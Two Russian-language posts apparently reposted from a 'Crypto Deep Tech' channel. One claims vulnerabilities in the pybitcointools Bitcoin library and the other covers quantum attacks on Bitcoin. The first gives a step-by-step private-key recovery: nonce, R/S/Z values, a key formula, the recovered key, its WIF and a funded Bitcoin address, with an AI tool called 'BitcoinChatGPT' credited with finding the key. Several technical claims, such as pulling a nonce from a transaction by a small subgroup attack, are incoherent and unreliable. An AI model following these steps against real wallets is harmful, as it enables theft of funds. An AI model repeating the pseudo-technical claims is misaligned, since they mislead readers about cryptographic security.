<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L432&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L432&h=3c8d89d7a5617bbc22a37b791cb2b15542371ae0" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432


Скрипт Python, в котором сеть Биткоин уязвима из-за использования random вместо secrets или os.urandom, что делает личные приватные ключи предсказуемыми для злоумышленника сети Биткоин:

Python-скрипт privkey_generate.py

В этом скрипте модуль random используется для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа.



Чтобы создать более безопасный ключ, вы можете использовать модуль secrets или os.urandom. Вот пример использования модуля secrets:

В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного приватного ключа. Этот метод гораздо безопаснее, чем использование модуля random.


Уязвимость в функции ecdsa_raw_sign

Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене публичного ключа в сети Биткоин. Существует большой риск, когда злоумышленник может воспользоваться особенностью восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что публичный ключ будет восстановлен неверно.


<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L543&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L543&h=88ddc3e54c4cec9c19cc299f61151d879e6d8042" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543


В примере кода, представленном с использованием библиотеки pycryptodome, демонстрируется, как можно смоделировать эту ситуацию, подменив Y-координату, чтобы получить другой, недействительный публичный ключ. Важно отметить, что пример кода упрощен и не является полноценной реализацией атаки, а лишь показывает её принцип.

Злоумышленник может использовать неоднозначность восстановления Y-координаты в сети Биткоин, что может привести к ошибкам при восстановлении публичного ключа. Вот пример того, как это можно сделать с помощью побитовой операции XOR.



Python-скрипт weak_key_recovery.py

Этот скрипт демонстрирует, как можно изменить Y-координату, чтобы получить неверный публичный ключ.

Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее.

Помимо представленного выше скрипта, вот несколько дополнительных моментов, которые следует учитывать:

  • Frey-Rück Attack: Эта атака использует уязвимости в подписи ECDSA для извлечения секретного ключа «K» (nonce), что в конечном итоге может привести к восстановлению Биткоин-кошелька.

  • Побитовые операции: XOR является ценным инструментом для шифрования данных и может использоваться в сочетании с другими операциями для повышения безопасности.

  • Атака 51%: Хотя это и не связано напрямую с восстановлением Y-координат, важно понимать, что злоумышленник, контролирующий более 50% вычислительной мощности сети, может потенциально манипулировать блокчейном.

  • Манипуляции с координатами кривой Jacobian: Злоумышленники могут манипулировать математическими свойствами координат Jacobian для создания поддельных цифровых подписей.

  • Обновление ПО: Крайне важно всегда обновлять программное обеспечение и использовать только проверенные устройства, чтобы предотвратить потенциальную потерю монет BTC из-за критических уязвимостей.


Уязвимость в функции bin_ripemd160

Устаревшие API хеширования в сети Биткоин, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности


<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L378&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L378&h=af670ef615160281b18ebd41cb6bead9430a7175" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378


Атакующий в сети Биткоин может найти уязвимость в устаревшем API хеширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хеширования, но при неудаче переключается на собственную, потенциально слабую реализацию.

В предоставленном Python-скрипте демонстрируется, как злоумышленник может проверить узел сети Биткоин на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хешей и другим уязвимостям. Скрипт имитирует атаку, хешируя данные и выводя предупреждение, если используется слабая реализация.


Риски включают возможность подделки транзакций и использование известных уязвимостей в устаревших API. Для защиты рекомендуется использовать актуальные и проверенные криптографические библиотеки, регулярно обновлять программное обеспечение Биткоин и проверять выходные данные криптографических операций.



Python-скрипт, в котором атакующий в сети Биткоин находит устаревший API хеширования и рассматривает риск отсутствия реализации RIPEMD-160 в определенных средах:

Python-скрипт ripemd160_vulnerability.py

Подробное объяснение:

  1. Реализация RIPEMD160 (при отсутствии в hashlib):

    • Класс RIPEMD160 имитирует реализацию RIPEMD160. В действительности он должен выполнять алгоритм хеширования RIPEMD160. В демонстрационных целях он возвращает фиктивный хеш.

  2. Функция bin_ripemd160(string):

    • Пытается хешировать входную строку с помощью RIPEMD160.

    • Сначала пытается использовать реализацию hashlib, а при необходимости возвращается к пользовательской реализации.

    • Если hashlib не поддерживает RIPEMD160, она захватывает исключение ValueError и использует пользовательскую реализацию.

  3. Функция check_for_weak_api(data):

    • Эта функция имитирует злоумышленника, проверяющего узел сети Биткоин на наличие слабых реализаций API.

    • Выводит, что злоумышленник проверяет узел на наличие слабого API.

    • Кодирует данные в формат utf-8.

    • Вызывает bin_ripemd160 для хеширования данных.

    • Выводит, что данные были хешированы, и показывает значение хеша.

    • Если хеш представляет собой фиктивный хеш (20 байт нулей), выводит предупреждение о том, что узел использует слабую или пользовательскую реализацию RIPEMD160, что может привести к коллизиям хешей или другим уязвимостям.

  4. Пример использования:

    • В блоке if __name__ == "__main__":, он задает пример данных и вызывает check_for_weak_api с этими данными.


Как это работает:

  1. Имитация атаки:

    • Скрипт имитирует атакующего, который пытается идентифицировать узлы в сети Биткоин, использующие устаревшие или слабые API для хеширования RIPEMD160.

  2. Проверка реализации RIPEMD160:

    • Он пытается использовать стандартную библиотеку hashlib для хеширования RIPEMD160. Если это не удается (потому что hashlib в конкретной среде не поддерживает RIPEMD160), он возвращается к пользовательской реализации (которая в этом примере является упрощенной версией).

  3. Идентификация слабых мест:

    • Пользовательская реализация (в этом примере) намеренно слабая. Атакующий может использовать эту слабость, если узел использует эту реализацию.

  4. Возможные риски:

    • Коллизии хешей: Слабая реализация хеша RIPEMD160 может быть подвержена коллизиям хешей. Злоумышленник может использовать это, чтобы подделать транзакции или данные.

    • Уязвимости безопасности: Устаревшие API могут содержать известные уязвимости, которые злоумышленник может использовать.


Как смягчить:

  1. Использование актуальных библиотек:

    • Убедитесь, что вы используете актуальные и проверенные библиотеки для криптографических операций.

    • Если RIPEMD160 необходим, используйте надежную и актуальную реализацию.

  2. Регулярные обновления:

    • Поддерживайте актуальность программного обеспечения Биткоин, чтобы пользоваться исправлениями безопасности и улучшениями.

  3. Валидация:

    • Всегда проверяйте выходные данные криптографических операций, чтобы убедиться, что они соответствуют ожидаемым стандартам.


Уязвимость в функции multiply Отсутствие проверки точки на кривой ECC

В Биткоин существует потенциальная уязвимость в функции multiply из-за недостаточной проверки точек на кривой ECC. Это может позволить злоумышленнику проводить invalid curve attacks, хотя современные криптографические библиотеки, такие как pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипулирование кривой Jacobian, что может привести к поддельным подписям и манипуляциям в сети.


<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L275&t=https%3A%2F%2Fgithub.com%2Fprimal100%2Fpybitcointools%2Fblob%2Fe7c96bfe1f4be08a9f3c540e598a73dc20ca2462%2Fcryptos%2Fmain.py%23L275&h=0b0811d13e9a853966ca25bcdf1dd0043349bdb9" title="https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/ma..." target="_blank" rel="nofollow noopener">https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275</a>

https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275


В сети Биткоин злоумышленник может найти уязвимость в функции multiply, которая заключается в отсутствии полной проверки, что точка находится на эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks).

Пример кода для атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция multiply, где отсутствует надежная проверка точки на кривой, и функция invalid_curve_attack, которая пытается использовать эту слабость. В коде также используются библиотеки pycryptodome для криптографических операций.


Используя уязвимость в функции multiply, злоумышленник может провести invalid curve attack, чтобы скомпрометировать секретные ключи в сети Bitcoin. Ниже представлен примерный скрипт на Python, демонстрирующий эту атаку.



Python-скрипт ecdsa_curve_attack.py


Объяснение кода:

  • Уязвимость: Функция multiply проверяет, что точка находится на кривой ECC, только если она не является точкой в бесконечности. Это позволяет использовать точки, которые не находятся на основной кривой, но находятся на «скрученной» кривой (twist curve).

  • Invalid Curve Attack: Атака заключается в использовании точки на другой кривой (malformed curve), чтобы получить информацию о секретном ключе. Поскольку проверка кривой не выполняется для всех точек, можно передать точку с другой кривой и использовать результат для восстановления части секретного ключа.

  • Функция invalid_curve_attack: Эта функция принимает публичный ключ и параметры malformed curve. Она создает точку на malformed curve и использует уязвимую функцию multiply для выполнения умножения.


Как работает атака малой подгруппы (Small Subgroup Attack):

  1. Выбор точки малого порядка: Злоумышленник выбирает точку Q малого порядка на кривой или на twist кривой.

  2. Отправка точки: Злоумышленник отправляет эту точку Q жертве, выдавая её за свой публичный ключ.

  3. Вычисление общего секрета: Жертва вычисляет nQ , где n — секретный ключ жертвы.

  4. Перебор вариантов: Поскольку Q имеет малый порядок, существует небольшое количество возможных значений для nQ . Злоумышленник может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая n по модулю порядка Q .

Рекомендации:

  • Всегда проверяйте, что входные точки действительно находятся на кривой ECC.

  • Используйте библиотеки, которые обеспечивают надежную проверку кривой и защиту от invalid curve attacks.


Small Subgroup Attack

Декодируем уязвимую RawTX транзакцию с помощью функции сервиса SMALL SUBGROUP ATTACK



Результат значение K секретного ключа Nonce в формате HEX

K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2


Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder


Результат значении для R, S, Z в формате HEX

R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0

S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9

Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8


Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator

<a href="https://pikabu.ru/story/kriptoanaliz_bitkoina_uyazvimost_cve202527840_v_mikrokontrollerakh_esp32_podvergaet_risku_milliardyi_iotustroystv_cherez_wifi_i_bluetooth_12555320?u=https%3A%2F%2Fdockeyhunt.com%2Fdockeyhunt-private-key-calculator&t=Dockeyhunt%20Private%20Key%20Calculator&h=dae0eece649cfab9145a2c127586487cd393b7d3" title="https://dockeyhunt.com/dockeyhunt-private-key-calculator" target="_blank" rel="nofollow noopener">Dockeyhunt Private Key Calculator</a>

Dockeyhunt Private Key Calculator


В результате мы получаем значение X приватный ключ в формате HEX

X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34


Проверим полученный результат приватного ключа с помощью машинного обучения

Запустим BitcoinChatGPT

%run BitcoinChatGPT

Apply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency


В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey



Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин.

!pip3 install bitcoin


Запустим код для проверки соответствие Биткоин Адреса:

__________________________________________________ Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ total_received = 10.00000000 Bitcoin __________________________________________________

Все верно! Приватный ключ соответствует Биткоин Кошельку.


Откроем bitaddress и проверим:

ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34


Итоги и шаги по уменьшению угрозы

В современной цифровой среде критически важным становится обеспечение безопасности устройств и сетей. Данная статья посвящена анализу ряда уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, таким как Биткоин. Рассматриваются недостатки в коде проверки приватных ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек на кривой ECC, восстановлении Y-координаты, а также в устаревших API хеширования.

Актуальность

В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей в архитектуре одного компонента, что обозначено как CVE-2025-27840. Обнаруженные уязвимости позволяют злоумышленникам подменять MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth.

Уязвимости и их анализ

  • Уязвимость для получения приватного ключа в функции has_invalid_privkey: Отсутствие проверки нижней границы приватных ключей Биткоин позволяет использовать недействительные ключи (меньше или равные 0), что может привести к потере средств.

  • Уязвимость подделки подписей транзакции Биткоин в функции electrum_sig_hash: Использование нестандартного метода хеширования сообщений в Electrum делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137.

  • Уязвимость в функции random_key (Слабый PRNG в генерации ключей): Использование модуля random для создания ключей в сети Биткоин делает личные ключи предсказуемыми для злоумышленников, так как этот модуль не предназначен для криптографических целей.

  • Уязвимость в функции multiply (Отсутствие проверки точки на кривой ECC): Недостаточная проверка точек на кривой ECC может позволить злоумышленнику проводить invalid curve attacks, что может привести к поддельным подписям и манипуляциям в сети.

  • Уязвимость в функции ecdsa_raw_sign: Некорректное восстановление Y-координаты может привести к подмене публичного ключа в сети Биткоин.

  • Уязвимость в функции bin_ripemd160: Устаревшие API хеширования, особенно при отсутствии RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности.



Преимущества выявления и устранения уязвимостей

  1. Предотвращение финансовых потерь: Устранение уязвимостей, связанных с приватными ключами и подделкой подписей, помогает предотвратить потерю средств пользователей криптовалют.

  2. Защита конфиденциальных данных: Устранение уязвимостей в устройствах ESP32 предотвращает несанкционированный доступ к памяти и подмену MAC-адресов, что защищает конфиденциальные данные пользователей.

  3. Повышение безопасности сети: Устранение уязвимостей в криптографических функциях, таких как random_key и ecdsa_raw_sign, повышает общую безопасность сети Биткоин и предотвращает возможные атаки на транзакции и подписи.

  4. Укрепление доверия пользователей: Своевременное выявление и устранение уязвимостей способствует укреплению доверия пользователей к устройствам и программному обеспечению, что особенно важно в сфере криптовалют и IoT.

  5. Соблюдение стандартов безопасности: Регулярное обновление криптографических библиотек и API, а также следование современным стандартам безопасности помогает предотвратить использование устаревших и уязвимых компонентов.

Заключение

Выявление и анализ уязвимостей, представленные в данной статье, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает возможные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности.


References:

  1. Recommendations for Eliminating Vulnerabilities in Bitcoin Code and ESP32 Devices

  2. Weaknesses in Bitcoin Implementation: How Vulnerabilities in random_key and ecdsa_raw_sign Compromise Security

  3. Analysis of the has_invalid_privkey Function Vulnerability: Problems with Bitcoin Private Key Verification and Recommendations for Correction

  4. Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function, Risks Associated with Y-Coordinate Recovery, Code Examples to Demonstrate the Vulnerability

  5. Bitcoin Security: Examining Risks Associated with Incorrect ECC Verification and Obsolete Hashing APIs

  6. Security Risk Analysis: Vulnerabilities in ESP32 Devices and the Bitcoin Network

  7. Obsolete Hashing APIs in Bitcoin: Vulnerabilities of the bin_ripemd160 Function

  8. Fake Updates and Access to Private Keys: ESP32 Vulnerabilities and Their Consequences

  9. Bitcoin Security Risks: Vulnerabilities in Key Verification and Transaction Generation Functions

  10. Problems with Key Generation: random_key Function Vulnerability, Weak Pseudo-Random Number Generator and its Consequences

  11. Shortcomings of Cryptographic Functions in Bitcoin and Potential Threats to the Network

  12. Attacks on Elliptic Curve: multiply Function Vulnerability, Insufficient Verification of Points on the ECC Curve, Possible Attack Vectors

  13. The Importance of Current Cryptographic Libraries and Regular Updates Conclusion: The Need to Improve Security in Networks and Devices

  14. Potential Attacks Using Invalid Curves Public Key Substitution: Vulnerability of the ecdsa_raw_sign Function

  15. Recommendations for Eliminating Vulnerabilities and Improving Protection Each title reflects key aspects of the article and can be used to structure the research

  16. Weak PRNG in Bitcoin Key Generation: Consequences of Using a Non-Deterministic random_key

  17. Analysis of Vulnerability CVE-2025-27840: How Architectural Flaws Can Threaten Billions of Devices Vulnerability of the has_invalid_privkey Function

  18. Impact of Vulnerabilities in ESP32 Microcontrollers on the Security of IoT Devices

  19. Methods for Exploiting Vulnerabilities in ESP32 Microcontrollers: Attacks via Bluetooth and Wi-Fi

  20. Hidden Vulnerabilities in ESP32 and Their Impact on the Security of IoT Devices

  21. Security Issues in ESP32 Devices: Disclosure of Vulnerability CVE-2025-27840

  22. ESP32 Architectural Vulnerabilities: Revealing Hidden Commands and Their Impact on IoT Security

  23. Vulnerabilities in Bitcoin Code: Technical Analysis and Exploitation Methods

  24. Analysis of Vulnerabilities in Bitcoin: From Cryptographic Shortcomings to Obsolete APIs

  25. CVE-2025-27840 Vulnerabilities in ESP32 Microcontrollers: Exposing Billions of IoT Devices to Risk

  26. Non-Standard Hashing Methods and Their Vulnerabilities Problems with Key Generation: random_key Vulnerability

  27. Lack of ECC Point Verification as a Potential Vulnerability in the Bitcoin multiply Function

  28. Risks of Recovering the Y-Coordinate in Elliptic-Curve Cryptography Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability

  29. Vulnerability in the ecdsa_raw_sign Function: Risk of Public Key Substitution During Y-Coordinate Recovery

  30. Hidden Vulnerabilities: A Threat to Modern Technologies CVE-2025-27840: Overview of Vulnerabilities in the ESP32 Architecture

  31. Overview of Current Security Threats Hidden List of Vulnerabilities: Potential Risks for ESP32 Implementation of Fake Updates and Low-Level Access

  32. Problems with Private Key Verification and Their Consequences Forgery of Transaction Signatures: electrum_sig_hash Vulnerability

  33. Vulnerability of Bitcoin Transaction Signature Forgery Due to Non-Standard Hashing in Electrum

  34. Risks of Using Unreliable PRNGs in Bitcoin Insufficient ECC Point Verification: multiply Function Vulnerability

  35. Overview of Vulnerabilities in Bitcoin: Potential Risks for Private Keys and Transactions

  36. Critical Security Analysis of ESP32 and Bitcoin: Vulnerabilities and Methods of Protection

  37. Obsolete Hashing APIs: bin_ripemd160 Function Vulnerability Problems with RIPEMD-160 Implementation Importance of Current Cryptographic Libraries

  38. Vulnerability of the electrum_sig_hash Function: Bitcoin Transaction Signature Forgery Non-Standard Hashing Method and its Consequences Examples of Attacks Based on Incompatibility with BIP-137

  39. Analysis of Vulnerabilities in Bitcoin Implementation: From Key Generation to Signature Forgery

  40. CVE-2025-27840: Vulnerability in ESP32, Allowing Unauthorized Firmware Updates and Access to Private Keys

  41. Vulnerability in Bitcoin Private Key Verification: Bypassing Lower Bound Control



Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Google Colab

BitcoinChatGPT

Small Subgroup Attack

Dockeyhunt Deep Learning

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/nBeZWm2z5o4

Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236

Источник: https://cryptodeeptool.ru/bitcoin-bluetooth-attacks


Показать полностью 21 1
1

Квантовые атаки на Биткоин: [Часть №2]

Продолжаем рассматривать статью (Часть №1), где все современные методы защиты финансовых транзакций и онлайн-активности с помощью криптографии, могут стать неэффективными против мощных квантовых компьютеров. В ней подчеркиваются уязвимости криптовалют, рынка, оцениваемого в сотни миллиардов долларов. Исследование показывает, что алгоритм доказательства работы Bitcoin относительно устойчив к квантовым атакам в течение следующего десятилетия, в первую очередь из-за быстрых возможностей специализированного оборудования для майнинга. Однако алгоритм цифровой подписи на основе эллиптических кривых, используемый Bitcoin, может быть скомпрометирован к 2027 году. Алгоритм Momentum предлагается в качестве более квантово-устойчивой альтернативы. В статье также рассматриваются различные защитные меры, которые могут повысить безопасность и эффективность приложений блокчейна в будущем. В целом, результаты показывают, что квантовые компьютеры представляют значительную угрозу для криптовалют, что требует разработки новых стратегий безопасности. Кроме того, в статье иллюстрируется процесс извлечения секретного ключа Nonce значения K из уязвимой транзакции RawTX с использованием подхода машинного обучения BitcoinChatGPT.

.


Квантовые компьютеры могут быстрее решать текущую задачу proof-of-work в Биткоине. Поэтому ищут альтернативные способы защиты блокчейна, которые будут более устойчивы к квантовым атакам. Один из подходов — использовать proof-of-work, требующие больших объемов памяти.


Примеры: Momentum, Cuckoo Cycle, Equihash. Эти методы усложняют задачу для квантовых компьютеров. Основная идея в том, чтобы найти такое число (nonce), которое удовлетворяет определенным условиям. Эти условия связаны с поиском коллизий в хеш-функциях. Алгоритм Momentum, например, требует поиска двух разных значений, которые дают одинаковый результат при хешировании. В отличие от текущего proof-of-work в Биткоине, с такими альтернативными подходами квантовый компьютер не получает большого преимущества. Время, необходимое для решения задачи, увеличивается, что делает атаку менее выгодной.

Поиск коллизий в хеш-функциях, особенно в контексте алгоритма Momentum (как это описано в теоретических работах о квантовой устойчивости PoW), обычно сводится к следующему:

  1. Определение хеш-функций: Необходимо определить те хеш-функции, в которых требуется найти коллизии (h1 и h2 в контексте Momentum PoW). В реальных системах это могут быть SHA256 или другие криптографические хеш-функции.

  2. Реализация поиска коллизий: Для поиска коллизий можно использовать различные методы, от простых (brute-force) до более сложных (например, birthday attack).



Вот пример Python скрипта, демонстрирующий поиск коллизий «в лоб» для упрощенной хеш-функции (для демонстрационных целей, небезопасной):


Python-скрипт: CollisionHunter.py


Что делает этот скрипт:

  1. simple_hash(data, modulus): Упрощенная хеш-функция. Она берет SHA256 от данных, преобразует хеш в целое число и берет остаток от деления на modulus. Важно: Эта хеш-функция предназначена только для демонстрационных целей. Она не является криптографически безопасной. Не используйте ее в реальных приложениях.

  2. find_collision(hash_function, modulus, max_attempts=100000): Эта функция пытается найти коллизию для заданной хеш-функции. Она генерирует случайные данные, вычисляет их хеш и сохраняет в словаре seen_hashes. Если сгенерированный хеш уже есть в словаре, значит, мы нашли коллизию.

  3. В примере использования мы устанавливаем размер хеш-таблицы (modulus) равным 256 и запускаем поиск коллизий.

  4. Этот код ищет коллизии «в лоб», то есть просто перебирает случайные значения и проверяет, не было ли уже такого хеша. Этот метод работает только для очень простых хеш-функций с небольшим выходным диапазоном.

Ключевые моменты и предупреждения:

  • Небезопасность simple_hash: Хеш-функция simple_hash крайне уязвима для атак и не подходит для реальных криптографических задач. Она используется только для демонстрации принципа поиска коллизий.

  • Сложность поиска коллизий: Поиск коллизий для криптографически стойких хеш-функций, таких как SHA256, является чрезвычайно сложной задачей. Прямой перебор (brute-force) невозможен из-за огромного размера выходного пространства хеш-функции.

  • Birthday attack: Более эффективным методом поиска коллизий (по сравнению с полным перебором) является birthday attack. Этот метод основан на парадоксе дней рождения и позволяет найти коллизию примерно за sqrt(N) операций, где N — размер выходного пространства хеш-функции. Однако, даже для birthday attack, требуются огромные вычислительные ресурсы для SHA256.

  • Алгоритм Momentum: Для реализации алгоритма Momentum потребовалось бы также реализовать h2 и логику проверки h1(H k a k b) ≤ t.

  • Ресурсы для изучения: Изучите «Проблемы коллизий и методы их решения«, «Хэш-таблицы в Python: Как они работают и зачем нужны», «Список с хеш-коллизиями» и другие материалы, чтобы глубже понять проблему.


Этот пример служит отправной точкой. Для более сложных сценариев (например, birthday attack или интеграции с Momentum)

Постквантовых схемы подписи

В научной литературе предложено множество схем цифровой подписи с открытым ключом, предположительно устойчивых к квантовым компьютерам.


Судя по таблице II, с точки зрения суммы длин подписи и открытого ключа, единственными разумными вариантами являются схемы на основе хеширования и решеток.

Судя по таблице II, с точки зрения суммы длин подписи и открытого ключа, единственными разумными вариантами являются схемы на основе хеширования и решеток.


Схемы на основе хеширования, такие как XMSS, имеют преимущество в виде доказуемой безопасности, по крайней мере, если выбранная хеш-функция ведет себя как случайный оракул. Общая квантовая атака на эти схемы заключается в использовании алгоритма Гровера, что означает, что их квантовый уровень безопасности составляет половину классического уровня безопасности.


В отличие от этого, лучшая известная квантовая атака на DILITHIUM при 138-битном классическом уровне безопасности требует времени 2^125. Таким образом, при одинаковом уровне квантовой безопасности схемы на основе решеток имеют некоторое преимущество в длине подписи плюс открытый ключ.


Хотя схема на основе решеток BLISS имеет наименьшую сумму длин подписи и открытого ключа из всех схем в таблице II, есть несколько причин не выбирать BLISS на практике. Безопасность BLISS основана на сложности задачи NTRU и предположении, что решение этой задачи эквивалентно поиску короткого вектора в так называемой решетке NTRU. Недавно было показано, что это предположение может быть слишком оптимистичным, по крайней мере, для больших параметров. Более того, существует история атак на предыдущие схемы подписи на основе NTRU. Возможно, самое главное, BLISS трудно реализовать безопасным способом, поскольку она очень восприимчива к атакам по побочным каналам. Производственная реализация BLISS strongSwan была атакована таким образом Песслом и др., которые показали, что ключ подписи может быть восстановлен после наблюдения примерно за 6000 генерациями подписи.


Когда заходит речь о защите от квантовых компьютеров, существует много разных способов шифрования данных. Самые популярные методы включают использование хеш-функций и математических решеток.


  • Хеш-функции: Этот способ хорош тем, что его безопасность можно доказать, но квантовые компьютеры могут немного ускорить взлом такого шифра.

  • Решетки: Этот способ выглядит более перспективным с точки зрения защиты от квантовых компьютеров, но у него есть свои недостатки. Например, алгоритм BLISS, основанный на решетках, очень уязвим для атак, которые используют информацию о работе компьютера (например, энергопотребление) для кражи ключа.


ТАБЛИЦА III. Алгоритмы вычисления ресурсов пространства и времени для квантовых атак. .

ТАБЛИЦА III. Алгоритмы вычисления ресурсов пространства и времени для квантовых атак. .


Оценка накладных расходов на исправление ошибок при квантовой атаке

Как рассчитываются коэффициенты накладных расходов для квантовой коррекции ошибок, чтобы получить оценки затрат ресурсов для квантовых атак на блокчейны и цифровые подписи.

